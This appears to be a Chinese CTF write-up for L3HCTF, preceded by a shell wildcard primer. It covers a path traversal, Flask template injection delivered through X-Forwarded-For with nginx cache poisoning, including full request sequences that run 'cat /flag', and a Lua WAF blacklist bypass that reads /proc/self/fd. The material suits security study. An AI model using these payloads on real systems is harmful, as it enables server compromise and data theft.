L3Hctf


linux不解析通配符

一、基础通配符(适用于命令行、文件操作)

这些通配符在 Linux/macOS 的 Bash 终端、Windows 的命令提示符(CMD)或 PowerShell 中常用,主要用于匹配文件名。

  1. \*(星号)
    • 匹配 任意长度的任意字符(包括空字符)。
    • 示例:
      • *.txt:匹配所有以 .txt 结尾的文件(如 a.txtb123.txt)。
      • file*:匹配所有以 file 开头的文件(如 filefile1file.txt)。
      • *doc*:匹配文件名中包含 doc 的文件(如 readme.docmydoc.pdf)。
  2. ?(问号)
    • 匹配 单个任意字符(必须有一个字符,不能匹配空)。
    • 示例:
      • file?.txt:匹配 file1.txtfileA.txt(文件名中 file 后有 1 个字符),但不匹配 file.txt(少一个字符)或 file12.txt(多一个字符)。
      • ?.log:匹配 a.log1.log(仅 1 个字符 + .log)。
  3. [](方括号)
    • 匹配 括号内指定的任意一个字符,支持范围表示。
    • 规则:
      • [abc]:匹配 abc 中的任意一个字符。
      • [0-9]:匹配 0-9 中的任意一个数字(范围用 - 分隔)。
      • [a-z]:匹配小写字母 a-z。
      • [^abc][!abc]:匹配 不在括号内 的任意一个字符(取反,^! 为取反符号)。
    • 示例:
      • file[0-5].txt:匹配 file0.txtfile5.txt
      • [A-Z]*.pdf:匹配以大写字母开头的 PDF 文件(如 Report.pdf)。
      • file[!0-9].txt:匹配 fileA.txtfile_.txt,但不匹配 file1.txt
  4. {}(花括号)
    • 用于 生成多个字符串组合,不做匹配,而是直接展开为括号内的所有项。
    • 示例:
      • file{1,2,3}.txt:展开为 file1.txt file2.txt file3.txt(可用于批量创建或操作文件)。
      • {a,b}*{x,y}:展开为 a*x a*y b*x b*y(结合 * 时先展开再匹配)。

二、正则表达式中的通配符(扩展匹配)

在编程(如 Python、JavaScript)、文本搜索(如 grep 命令)中,正则表达式的通配符功能更强大,需注意与基础通配符的区别:

  1. .(点号)
    • 匹配 单个任意字符(类似 ?,但在正则中更常用)。
    • 示例:a.b 匹配 aaba1ba@b(中间任意一个字符)。
  2. .\*(点星组合)
    • 匹配 任意长度的任意字符(类似 *,但在正则中是贪婪匹配,尽可能多匹配)。
    • 示例:a.*b 匹配 a123baXyZbab 之间的所有字符)。
  3. ^$(锚点)
    • ^:匹配字符串的 开头(如 ^hello 匹配以 hello 开头的字符串)。
    • $:匹配字符串的 结尾(如 world$ 匹配以 world 结尾的字符串)。
    • 示例:^abc$ 仅匹配字符串 abc(精确匹配,开头和结尾无其他字符)。
  4. \d\w\s(预定义字符类)
    • \d:匹配任意数字(等价于 [0-9])。
    • \w:匹配字母、数字或下划线(等价于 [a-zA-Z0-9_])。
    • \s:匹配空白字符(空格、制表符 \t、换行符 \n 等)。
    • 示例:\d{3} 匹配 3 个连续数字(如 123456)。

三、通配符的使用场景

  1. 命令行操作

    • 批量删除文件:rm *.tmp(删除所有 .tmp 临时文件)。
    • 批量复制:cp photo_?.jpg ./backup/(复制 photo_1.jpgphoto_2.jpgbackup 文件夹)。
    • 搜索文件:ls [A-Z]*(列出所有大写字母开头的文件)。
  2. 编程中的字符串匹配

    • 在 Python 中用

      re

      模块(正则表达式):

      python

      运行

      import re
      if re.match(r'file\d+\.txt', 'file123.txt'):
          print("匹配成功")  # 输出:匹配成功(\d+ 匹配1个以上数字)
  3. 文件搜索工具

    • grep 命令:grep 'error.*2023' log.txt(搜索日志中包含 error 且后面跟 2023 的行)。

四、注意事项

  1. 不同环境的差异

    • Windows 的 CMD 中,*? 用法与 Linux 类似,但不支持 [] 范围匹配;PowerShell 则支持更多通配符(如 []*?)。
    • 正则表达式中的 * 与命令行的 * 不同:正则中 * 表示 “前面的字符重复 0 次或多次”(如 ab* 匹配 aababb),而命令行中 * 是独立的通配符。
  2. 转义字符

    • 若要匹配通配符本身(如文件名含

      *

      ),需用转义符

      \

      (Linux)或

      ^

      (Windows CMD),例如:

      • Linux:ls \*.txt(匹配文件名就是 *.txt 的文件)。
      • Windows CMD:dir ^*.txt(同上)。

https://su-team.cn/posts/e3fd1be7.html#gogogo-chu-fa-lou

L3HCTF Writeup - 星盟安全团队

赛博侦探

点开九子夺嫡视频

url为
https://www.bilibili.com/video/BV1tT421e7r3/?from_url=http://223.112.5.141:64601/secret/find_my_password&buvid=XU729158D436618067C9318686801E96CB45D&from_spmid=tm.recommend.0.0&is_story_h5=false&p=1&plat_id=116&share_from=ugc&share_medium=android&share_plat=android&share_session_id=422b97e2-06ad-4b22-a034-6f23ac237e51&share_source=COPY&share_tag=s_i&spmid=united.player-video-detail.0.0&timestamp=1751785740&unique_k=CB6R8pq&up_id=552601798

即为http://223.112.5.141:64601/secret/find_my_password

通过doc属性可知邮箱为leland@l3hsec.com,英文名为leland

接着根据离羽毛球馆的距离查店铺位置,可推其经纬度为114.175,30.623

通过扫码知航班为MU5399

因是从武汉出发,故老家为福州

提交答案后转到http://223.112.5.141:64601/secret/my_lovely_photos,看源代码可知为路径穿越,输入http://223.112.5.141:64601/secret/my_lovely_photo?name=../../../flag,即可得到`L3HCTF{F1ndL3l4ndAndTr4v3rs3TheP4th}`


best_profile

对缓存投毒的学习总结-先知社区

  • X-Forwarded-For: 客户端原始IP, 代理1IP, 代理2IP, ...
    • 第一个 IP 为客户端真实 IP,后续为请求经过的代理 IP。
  • 示例
    客户端(192.168.1.100)→ 代理 A(10.0.0.1)→ 代理 B(203.0.113.5)→ 后端服务器,请求头为:
    X-Forwarded-For: 192.168.1.100, 10.0.0.1, 203.0.113.5
  • 格式:单个主机名(或 IP + 端口,端口可选)
    X-Forwarded-Host: 客户端访问的原始域名[:端口]
  • 背景
    当请求经过代理时,代理会与后端服务器建立新连接,此时后端服务器收到的 Host 头可能被代理修改为后端服务器自身的地址(如代理配置的后端服务域名)。X-Forwarded-Host 用于保留客户端最初请求的 Host 信息。
  • 示例
    客户端访问 https://www.example.com,请求经代理转发到后端服务器 10.0.0.10,代理会:
    • 将请求的 Host 头改为 10.0.0.10(后端服务器地址);
    • 同时添加 X-Forwarded-Host: www.example.com,告知后端服务器用户实际访问的是 www.example.com

X-Forwarded-Host 与 Host 的区别

  • Host 头部
    是 HTTP 协议标准头部,由客户端(如浏览器)发送,用于指定请求的目标服务器的域名或 IP 地址及端口,是服务器识别自身应处理哪个站点请求的核心依据(尤其在虚拟主机场景)。例如,访问 https://example.com/path 时,Host 头部通常为 example.com
  • X-Forwarded-Host 头部
    是非标准但广泛使用的扩展头部,由反向代理服务器(如 Nginx、Apache 等)添加,用于传递客户端原始请求中的 Host 信息。当请求经过代理服务器转发到后端服务器时,后端服务器通过该头部可获取客户端最初请求的目标域名,而非代理服务器的地址。

核心差异

头部 发送方 作用 典型场景
Host 客户端 指示请求的目标服务器域名 / IP 直接向服务器发起请求
X-Forwarded-Host 反向代理服务器 传递客户端原始请求的 Host 信息 存在代理的多层网络架构

例如,客户端请求 https://proxy.com(代理服务器),实际转发到后端 backend.com,此时:

  • 客户端发送的 Host 为 proxy.com

  • 代理服务器添加 X-Forwarded-Host 为 proxy.com,后端服务器通过它可知客户端原始目标

  • 1. X-Forwarded-For

    作用:

    记录客户端的原始 IP 地址以及请求经过的所有代理服务器的 IP 地址。
    当请求经过多层代理(如客户端 → 代理服务器 A → 代理服务器 B → 后端服务器)时,后端服务器默认只能看到最后一个代理的 IP,而 X-Forwarded-For 可以追溯完整的请求路径。

    格式:

    逗号分隔的 IP 地址列表,第一个地址是客户端原始 IP,后续是各级代理的 IP。
    例如:X-Forwarded-For: 192.168.1.100, 10.0.0.1, 172.16.0.2

    • 192.168.1.100:客户端真实 IP
    • 10.0.0.1:第一级代理 IP
    • 172.16.0.2:第二级代理 IP

    2. X-Forwarded-Host

    作用:

    记录客户端请求的原始 Host 头部(即客户端访问的域名或 IP)。
    当请求经过反向代理时,代理服务器通常会修改 Host 头部(例如指向后端服务器的内部地址),而 X-Forwarded-Host 用于保留客户端最初请求的 Host 信息。

  1. 利用缓存键(Cache Key)设计缺陷
    缓存服务器通常根据请求的部分信息(如 URL、Host 头、特定请求参数等)生成 “缓存键”,用于标识唯一资源。若缓存键未包含某些关键参数(如未验证的用户输入、特殊 HTTP 头),攻击者可构造包含恶意内容的请求,使缓存将恶意内容与正常 URL 关联。
    例如:若缓存仅根据URL生成键,而忽略X-Forwarded-Host头,攻击者可发送包含恶意X-Forwarded-Host的请求,使缓存将恶意脚本与正常 URL 绑定,其他用户访问该 URL 时会加载恶意脚本。
  2. 注入恶意代码到可缓存资源
    若源服务器对用户输入过滤不严,攻击者可提交包含恶意代码(如 XSS 脚本、恶意 JS)的内容,并诱导缓存服务器将其作为 “静态资源”(如.js.css文件)缓存。当其他用户加载该资源时,恶意代码会被执行。
    例如:在用户可控的动态页面中注入恶意 JS,若该页面被缓存,所有访问者都会触发 JS 执行。
  3. 利用 HTTP 响应头漏洞
    若源服务器返回的响应头包含错误的缓存控制信息(如Cache-Control: public,允许缓存),或缓存服务器忽略了源服务器的缓存限制(如no-cache),攻击者可通过构造请求,使恶意内容被长期缓存。

1. render_template 的安全特性

  • 自动转义

    :默认对变量输出进行 HTML 转义,防止 XSS 攻击。

    <!-- 模板文件 index.html -->
    <p>Hello, {{ name }}!</p>
    
    <!-- 当 name = '<script>alert(1)</script>' 时 -->
    <!-- 输出结果:<p>Hello, &lt;script&gt;alert(1)&lt;/script&gt;!</p> -->
  • 沙箱环境:模板中无法直接访问 Python 全局对象(如 ossys),限制代码执行能力。

2. render_template_string 的风险

  • 直接执行模板代码

    :字符串中的任何 Jinja2 语法都会被执行。

    template = "{{ 1+1 }}"  # 计算表达式
    render_template_string(template)  # 输出 "2"
                  
    # 危险示例:执行任意 Python 代码
    payload = "{{ request.application.__globals__['os'].popen('id').read() }}"
    render_template_string(payload)  # 执行系统命令并返回结果
import os
import re
import random
import string
import requests
from flask import (
    Flask,
    render_template,
    request,
    redirect,
    url_for,
    render_template_string,
)
from flask_sqlalchemy import SQLAlchemy
from flask_login import (
    LoginManager,
    UserMixin,
    login_user,
    login_required,
    logout_user,
    current_user,
)
from sqlalchemy.orm import DeclarativeBase
from sqlalchemy.orm import Mapped, mapped_column
from werkzeug.security import generate_password_hash, check_password_hash
from werkzeug.middleware.proxy_fix import ProxyFix
import geoip2.database


class Base(DeclarativeBase):
    pass


db = SQLAlchemy(model_class=Base)


class User(db.Model, UserMixin):
    id: Mapped[int] = mapped_column(primary_key=True)
    username: Mapped[str] = mapped_column(unique=True)
    password: Mapped[str] = mapped_column()
    bio: Mapped[str] = mapped_column()
    last_ip: Mapped[str] = mapped_column(nullable=True)

    def set_password(self, password):
        self.password = generate_password_hash(password)

    def check_password(self, password):
        return check_password_hash(self.password, password)

    def __repr__(self):
        return "<User %r>" % self.name


app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///data.db"
app.config["SECRET_KEY"] = os.urandom(24)
app.wsgi_app = ProxyFix(app.wsgi_app)

db.init_app(app)
with app.app_context():
    db.create_all()

login_manager = LoginManager(app)


def gen_random_string(length=20):
    return "".join(random.choices(string.ascii_letters, k=length))


@login_manager.user_loader
def load_user(user_id):
    user = User.query.get(int(user_id))
    return user


@app.route("/login", methods=["GET", "POST"])
def route_login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if not username or not password:
            return "Invalid username or password."
        user = User.query.filter_by(username=username).first()
        if user and user.check_password(password):
            login_user(user)
            return redirect(url_for("route_profile", username=user.username))
        else:
            return "Invalid username or password."
    return render_template("login.html")


@app.route("/logout")
@login_required
def route_logout():
    logout_user()
    return redirect(url_for("index"))


@app.route("/register", methods=["GET", "POST"])
def route_register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        bio = request.form["bio"]
        if not username or not password:
            return "Invalid username or password."
        user = User.query.filter_by(username=username).first()
        if user:
            return "Username already exists."
        user = User(username=username, bio=bio)
        user.set_password(password)
        db.session.add(user)
        db.session.commit()
        return redirect(url_for("route_login"))
    return render_template("register.html")


@app.route("/<string:username>")
def route_profile(username):
    user = User.query.filter_by(username=username).first()
    return render_template("profile.html", user=user)


@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
    if not current_user.is_authenticated:
        return "You need to login first."
    user = User.query.filter_by(username=username).first()
    if not user:
        return "User not found."
    return render_template("last_ip.html", last_ip=user.last_ip)

geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
    if res.status_code != 200:
        return "Get last ip failed."
    last_ip = res.text
    try:
        ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
        country = geoip2_reader.country(ip)
    except (ValueError, TypeError):
        country = "Unknown"
    template = f"""
    <h1>IP Detail</h1>
    <div>{last_ip}</div>
    <p>Country:{country}</p>
    """
    return render_template_string(template)


@app.route("/")
def index():
    return render_template("index.html")


@app.after_request
def set_last_ip(response):
    if current_user.is_authenticated:
        current_user.last_ip = request.remote_addr
        db.session.commit()
    return response


if __name__ == "__main__":
    app.run()

此路由二次渲染last_ip,如果last_ip可控会造成模板注入

@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
    if res.status_code != 200:
        return "Get last ip failed."
    last_ip = res.text
    try:
        ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
        country = geoip2_reader.country(ip)
    except (ValueError, TypeError):
        country = "Unknown"
    template = f"""
    <h1>IP Detail</h1>
    <div>{last_ip}</div>
    <p>Country:{country}</p>
    """
    return render_template_string(template)

应用使用了ProxyFix中间件

from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)

ProxyFix中间件的作用是从代理服务器传递的请求头中获取客户端的真实IP地址。当请求经过代理(如Nginx)时,原始客户端的IP会被保存在X-Forwarded-For头中。通过设置ProxyFix中间件,Flask的request.remote_addr将不再使用直接连接的客户端IP(通常是代理服务器的IP),而是使用X-Forwarded-For请求头中的IP地址。

X-Forwarded-For: 127.0.0.1 {%set ca=e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last%}{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(ca)).read()}}

配置文件中有如下内容

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static;
    proxy_cache_valid 200 302 30d;
}

location ~ .*\.(js|css)?$ {
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static;
    proxy_cache_valid 200 302 12h;
}

current_user.last_ip = request.remote_addr于是要记得访问”/xxx.js

@app.after_request
def set_last_ip(response):
    # 检查用户是否已登录(通过 Flask-Login 的 current_user 实现)
    if current_user.is_authenticated:
        # 将当前请求的客户端 IP 记录为用户的 last_ip
        current_user.last_ip = request.remote_addr
        # 提交数据库会话,保存修改
        db.session.commit()
    # 返回响应(不改变原始响应内容)
    return response

服务器设置了缓存所有以.js结尾的响应,同时注册功能没有限制用户名中的特殊字符,这使得我们可以构造特殊的用户名,例如:username.js。当我们注册完成后先向/发送带有X-Forwarded-For:xxx的请求,再向/get_last_ip/username.js发送请求,服务器返回的响应会被缓存,无论接下来的请求是否携带cookie,只要路径相同,返回的结果都会是相同的。/ip_detail路由内部向/get_last_ip发送的请求即使不携带cookie也会返回我们给予的last_ip。

X-Forwarded-For: {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}

五步走

1、
POST /register HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 50
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/register
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV599G4fsDIoovpA.aHXdQg.gjgdpHxTZo4pCAURSMOuKxTS8uA
Connection: keep-alive

username=user14.gif&password=1&bio=1&submit=Sign+Up




2、
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 39
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

username=user14.gif&password=1&submit=Log+In




3、(没有也行)
GET /user14.gif HTTP/1.1
Host: 127.0.0.1:8081
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
Cookie:{{Cookie}}
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive



4、(检查)
GET /get_last_ip/user14.gif HTTP/1.1
Host: 127.0.0.1:8081
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV59-GEL4_UgMvzQ.aHXh4g.HH_RTaBH9nTKqiAAYooVAu2G1VQ
Connection: keep-alive




5、GET /ip_detail/user14.gif?os=os&a=cat%20/flag HTTP/1.1
Host: 127.0.0.1:8081
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV59-GEL4_UgMvzQ.aHXh4g.HH_RTaBH9nTKqiAAYooVAu2G1VQ
Connection: keep-alive


gateway_advance

ngx.req.get_uri_args() can’t get more than 100 request arguments · Issue #280 · p0pr0ck5/lua-resty-waf

worker_processes 1;

events {
    use epoll;
    worker_connections 10240;
}

http {
    include mime.types;
    default_type text/html;
    access_log off;
    error_log /dev/null;
    sendfile on;

    init_by_lua_block {
        f = io.open("/flag", "r")
        f2 = io.open("/password", "r")
        flag = f:read("*all")
        password = f2:read("*all")
        f:close()
        password = string.gsub(password, "[\n\r]", "")
        os.remove("/flag")
        os.remove("/password")
    }

    server {
        listen 80 default_server;
        location / {
            content_by_lua_block {
                ngx.say("hello, world!")
            }
        }

        location /static {
            alias /www/;
            access_by_lua_block {
                if ngx.var.remote_addr ~= "127.0.0.1" then
                    ngx.exit(403)
                end
            }
            add_header Accept-Ranges bytes;
        }

        
   #local blacklist = {"%.", "/", ";", "flag", "proc"}
#定义敏感字符 / 关键词黑名单:
#%.(点号,转义是因为.在 Lua 模式匹配中是通配符)和 /(斜杠):防止路径遍历攻击(如 ../ 访问上级目录)。
#;(分号):防止命令注入(如拼接系统命令)。
#flag、proc:CTF 中常见的敏感关键词(flag 是目标文件,proc 对应 Linux /proc 进程目录,可能泄露系统信息)。
#local args = ngx.req.get_uri_args()
#获取 URL 中的查询参数(如 ?filename=test.txt 中的 filename 和 test.txt)。
#for k, v in pairs(args) do
#遍历所有查询参数(k 是参数名,v 是参数值,支持多值参数如 ?a=1&a=2)。
#for _, b in ipairs(blacklist) do
#嵌套遍历黑名单中的每个敏感字符 b。
#if string.find(v, b) then ngx.exit(403)
#检查参数值 v 中是否包含 b,若包含则立即返回 403 禁止访问(拦截恶意请求)。     
        location /download {
            access_by_lua_block {
                local blacklist = {"%.", "/", ";", "flag", "proc"}
                local args = ngx.req.get_uri_args()
                for k, v in pairs(args) do
                    for _, b in ipairs(blacklist) do
                        if string.find(v, b) then
                            ngx.exit(403)
                        end
                    end
                end
            }
            add_header Content-Disposition "attachment; filename=download.txt";
            proxy_pass http://127.0.0.1/static$arg_filename;
            #将当前 /download 请求转发到本地(127.0.0.1)的 /static 路径,并拼接查询参数 filename 的值。
#例如:若请求为 http://xxx/download?filename=file.txt,则实际转发到 http://127.0.0.1/static/file.txt。
#结合前文配置,/static 路径映射到服务器本地的 /www/ 目录,且仅允许本地 IP 访问,因此该代理实现了 “外部通过 /download 间接访问 /static 资源” 的逻辑。
            body_filter_by_lua_block {
                local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
                for _, b in ipairs(blacklist) do
                    if string.find(ngx.arg[1], b) then
                    #ngx.arg[1] 是响应体的片段(因 Nginx 处理响应是流式的,可能分多次处理)。
                        ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
                    #过滤逻辑按数据块处理而非整体处理.当只读取1字节时,不可能包含完整敏感词(如"password"=8字节)单字节响应永远不会触发过滤
                    end
                end
            }
        }

        location /read_anywhere {
            access_by_lua_block {
                if ngx.var.http_x_gateway_password ~= password then
                    ngx.say("go find the password first!")
                    ngx.exit(403)
                end
            }
            content_by_lua_block {
                local f = io.open(ngx.var.http_x_gateway_filename, "r")
                if not f then
                    ngx.exit(404)
                end
                local start = tonumber(ngx.var.http_x_gateway_start) or 0
                local length = tonumber(ngx.var.http_x_gateway_length) or 1024
                if length > 1024 * 1024 then
                    length = 1024 * 1024
                end
                f:seek("set", start)
                local content = f:read(length)
                f:close()
                ngx.say(content)
                ngx.header["Content-Type"] = "application/octet-stream"
            }
        }
    }
}
/download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../etc/passwd
  1. /proc 文件系统
    /proc 是 Linux 系统中的虚拟文件系统,用于提供进程和系统内核的实时信息,并非实际存储在磁盘上。其中每个以数字命名的子目录(如 /proc/1)对应一个进程的 ID(PID),包含该进程的详细信息(如内存、文件描述符、环境变量等)。

  2. /proc/[PID]/fd 目录
    每个进程的 /proc/[PID]/fd 目录下,会以数字(0、1、2、3…)命名的符号链接,每个链接对应进程当前打开的一个文件描述符。例如:

    • 0:标准输入(stdin)
    • 1:标准输出(stdout)
    • 2:标准错误(stderr)
    • 3 及以上:进程打开的其他文件、网络连接、管道等。
  3. /proc/1/fd/6

    • 1 是进程 ID,通常对应系统初始化进程(如 systemd),负责启动和管理系统服务。
    • 6 是该进程打开的第 6 个文件描述符,具体指向什么内容取决于进程的行为(可能是某个配置文件、日志文件、管道或网络套接字等)。
  4. /proc/self 的含义
    /proc/self 是一个动态符号链接,始终指向当前正在访问该路径的进程自身的 /proc/[PID] 目录(例如,当进程 A 访问 /proc/self 时,它等价于 /proc/[A的PID])。这使得进程可以无需知道自身 PID 即可访问自己的信息。

  5. mem 文件的作用
    /proc/self/mem 以二进制形式直接映射当前进程的虚拟内存空间,允许进程通过读写该文件来直接操作自身的内存数据(如修改变量值、注入代码等)。

    • 读操作:可获取内存中指定地址的数据(需知道具体内存地址,且该地址必须是进程可访问的)。
    • 写操作:可修改内存中指定地址的数据(同样受进程权限和内存保护机制限制,如只读内存页无法写入)。
GET /download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../proc/self/fd/6 HTTP/1.1
Host: 1.95.8.146:17794
Range: bytes=23-49

dsoneverwannagiveyouup

依次弄一下,得到
passwordismemeispasswordsoneverwannagiveyouup

在 Linux 系统中,/proc/self/maps 是一个特殊的伪文件,用于展示当前进程(self 指代访问该文件的进程自身)的内存映射信息。它记录了进程地址空间中所有的内存区域(如代码段、数据段、堆、栈、共享库、映射文件等)的详细信息,是分析进程内存布局的重要工具。

文件内容格式

/proc/self/maps 的每一行对应进程中的一个内存区域,格式如下(以典型行为例):

55f8d7a00000-55f8d7a02000 r--p 00000000 08:01 1234567  /usr/bin/ls

各字段含义从左到右依次为:

  1. 内存地址范围55f8d7a00000-55f8d7a02000
    该内存区域在进程虚拟地址空间中的起始地址和结束地址(十六进制),表示此区域占用的地址范围。
  2. 权限标志r--p
    4 个字符分别表示:
    • 第 1 位:r(可读)、-(不可读)
    • 第 2 位:w(可写)、-(不可写)
    • 第 3 位:x(可执行)、-(不可执行)
